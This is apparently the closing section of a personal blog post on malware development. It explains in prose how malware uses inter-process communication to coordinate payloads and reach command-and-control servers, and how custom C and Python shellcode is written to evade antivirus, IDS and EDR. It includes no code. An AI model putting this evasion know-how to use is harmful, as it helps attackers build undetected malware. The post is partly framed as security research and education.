Inter-Process Communication mechanisms can enhance malware operations by facilitating control and interaction with payloads across multiple processes. Through techniques such as Reflective DLL injection or other Process Injection methods, malware can deploy modular payloads designed for specific tasks. IPC provides the necessary flexibility and modularity for malware, allowing the central malware module to coordinate and govern the execution of different payloads.

IPC offers significant advantages in maintaining stealth and resilience for the malware. Separating the malware’s core functionality from its payloads makes the complete picture more challenging to detect and analyse for security solutions. The dynamic loading, execution, and control of payloads via IPC minimise the footprint and impede the tracing of malicious activities.

Moreover, IPC can establish communication channels between the malware and external entities, including command-and-control servers or compromised systems. This capability empowers remote control over the malware, allowing attackers to issue commands, receive updates, or exfiltrate stolen data without direct interaction. This remote communication further expands the malicious software’s reach and enhances its capabilities.

Writing and Compiling Custom Shellcode in C and Python

Writing and compiling custom shellcodes in C and Python involves crafting specialised low-level code that directly executes on an operating system to accomplish specific goals. By deviating from commonly used shellcodes like meterpreter or CobaltStrike beacons, custom shellcode empowers malware developers to create code that precisely aligns with their intended objectives. When written in C and automated through Python, this approach enables the creation of shellcodes that can bypass or evade security measures such as anti-virus software, intrusion detection systems, or firewalls. By generating unique or obfuscated code, malicious actors can heighten the likelihood of their illicit activities remaining undetected, thus facilitating persistent operations on compromised systems.

One significant advantage of writing custom shellcodes is the ability to execute targeted attacks. Malware developers can tailor the code to exploit specific vulnerabilities or weaknesses in particular systems or applications, maximising the chances of a successful compromise. Custom shellcodes also play a vital role in more intricate malware frameworks, where they serve as essential components. By integrating custom shellcodes into a broader structure, malware authors establish a foundation for additional functionalities, thereby enhancing the overall capabilities and impact of the malware.

However, writing a shellcode can be a challenging and time-consuming process. To simplify this task, automation techniques can be employed using Python. This includes automating the compilation of PE files, extracting the executable code (.text section), and aligning the stack within the shellcode. By automating these steps, developers can streamline the process, making it more efficient and accessible. Expressing the resulting shellcode in hexadecimal format further facilitates its utilisation in an operation.

To summarise, this white paper has delved into crucial aspects of malware techniques and their effectiveness. However, it is essential to recognise that a vast realm of unexplored possibilities and avenues for further research and development remains. It is incumbent upon researchers and security professionals to persistently explore these areas to remain proactive in countering evolving malware threats and minimising their impact on systems and users. Embracing automation in this process allows for the demonstration and education of others regarding the techniques employed by malicious actors, as it facilitates future research to detect and mitigate the risks posed by malware.

Conclusion

This post is just me getting my feet wet in Maldev; this isn’t even the tip of the iceberg of malware and its capabilities. The world of malware is infinite and complex, where anything is possible, and that makes it extremely dangerous…how fun 🙂

In future posts in this series, I’m going to go deeper into the possibilities of Common Object File Formats to make beacon object files, the utilisation of undocumented Windows API Functions, API unhooking or direct/indirect syscalls to evade EDR solutions, and even the possibility of parallel execution with the python interpreter to execute python code sent via C2 channels and return the result back to the server? Like throwaway modules? Who knows? Let’s see what I can get away with, and I’ll let you know when it’s done.

Tioraidh,
Nekrotic

Nekrotic
https://www.nekrotic.co.uk

Leave a Reply